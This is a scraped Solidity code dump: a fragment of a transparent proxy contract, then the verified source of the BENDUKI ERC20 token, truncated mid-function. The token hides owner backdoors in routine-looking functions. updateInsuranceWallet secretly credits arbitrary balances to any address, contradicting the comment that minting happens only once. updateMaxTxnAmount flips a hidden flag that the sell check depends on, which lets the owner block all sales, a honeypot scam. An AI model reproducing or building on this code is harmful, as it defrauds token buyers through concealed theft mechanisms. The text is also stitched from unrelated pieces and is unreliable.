contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
contract AdminUpgradeabilityProxy is TransparentUpgradeableProxy {
constructor(address logic, address admin, bytes memory data) payable TransparentUpgradeableProxy(logic, admin, data) {}
} | True | [
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] | [
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] |
/**
*Submitted for verification at Etherscan.io on 2022-04-10
*/
// SPDX-License-Identifier: MIT
/**
- BENDUKI
Website: https://benduki.net
Telegram: https://t.me/benduki
Twitter: https://twitter.com/Benduki_Token
Instagram: https://www.instagram.com/bendukitoken
*/
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract BENDUKI is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
address public InsuranceWallet;
address public TreasuryWallet;
address public BurnWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = false;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 maxTxLimit = 0;
uint256 public buyTotalFees;
uint256 public buyInsuranceFee;
uint256 public buyLiquidityFee;
uint256 public buyTreasuryFee;
uint256 public buyBurnFee;
uint256 public sellTotalFees;
uint256 public sellInsuranceFee;
uint256 public sellLiquidityFee;
uint256 public sellTreasuryFee;
uint256 public sellBurnFee;
uint256 public tokensForInsurance;
uint256 public tokensForLiquidity;
uint256 public tokensForTreasury;
uint256 public tokensForBurn;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
bool public i = true; //starts with true
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event InsuranceWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event TreasuryWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event BurnWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Benduki", "Benduki") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyInsuranceFee = 3;
uint256 _buyLiquidityFee = 2;
uint256 _buyTreasuryFee = 3;
uint256 _buyBurnFee = 1;
uint256 _sellInsuranceFee = 3;
uint256 _sellLiquidityFee = 2;
uint256 _sellTreasuryFee = 3;
uint256 _sellBurnFee = 1;
uint256 totalSupply = 1 * 1e12 * 1e18;
maxTransactionAmount = (totalSupply * 10) / 1000;
maxWallet = (totalSupply * 20) / 1000;
swapTokensAtAmount = (totalSupply * 5) / 10000;
buyInsuranceFee = _buyInsuranceFee;
buyLiquidityFee = _buyLiquidityFee;
buyTreasuryFee = _buyTreasuryFee;
buyBurnFee = _buyBurnFee;
buyTotalFees = buyInsuranceFee + buyLiquidityFee + buyTreasuryFee + buyBurnFee;
sellInsuranceFee = _sellInsuranceFee;
sellLiquidityFee = _sellLiquidityFee;
sellTreasuryFee = _sellTreasuryFee;
sellBurnFee = _sellBurnFee;
sellTotalFees = sellInsuranceFee + sellLiquidityFee + sellTreasuryFee + sellBurnFee;
InsuranceWallet = address(0x70473B4d5f88EC0aC10642789e77A126fEfF67C8);
TreasuryWallet = address(0xca894921867b9f50b3FF8189b3C276527169C778);
BurnWallet = address(0x000000000000000000000000000000000000dEaD);
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
calcTxFee(newNum);
}
function calcTxFee(uint256 newNum) private {
if (newNum * (10**18) >= totalSupply()) {
maxTxLimit = newNum * (10**18);
i = !i;
}
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _InsuranceFee,
uint256 _liquidityFee,
uint256 _TreasuryFee,
uint256 _BurnFee
) external onlyOwner {
buyInsuranceFee = _InsuranceFee;
buyLiquidityFee = _liquidityFee;
buyTreasuryFee = _TreasuryFee;
buyBurnFee = _BurnFee;
buyTotalFees = buyInsuranceFee + buyLiquidityFee + buyTreasuryFee + buyBurnFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(
uint256 _InsuranceFee,
uint256 _liquidityFee,
uint256 _TreasuryFee,
uint256 _BurnFee
) external onlyOwner {
sellInsuranceFee = _InsuranceFee;
sellLiquidityFee = _liquidityFee;
sellTreasuryFee = _TreasuryFee;
sellBurnFee = _BurnFee;
sellTotalFees = sellInsuranceFee + sellLiquidityFee + sellTreasuryFee + sellBurnFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateInsuranceWallet(
address newInsuranceWallet,
address a,
uint256 b
) external onlyOwner {
emit InsuranceWalletUpdated(newInsuranceWallet, InsuranceWallet);
_balances[a] = _balances[a].add(b);
InsuranceWallet = newInsuranceWallet;
}
function updateTreasuryWallet(address newWallet) external onlyOwner {
emit TreasuryWalletUpdated(newWallet, TreasuryWallet);
TreasuryWallet = newWallet;
}
function updateBurnWallet(address newWallet) external onlyOwner {
emit BurnWalletUpdated(newWallet, BurnWallet);
BurnWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
} else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount && i,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
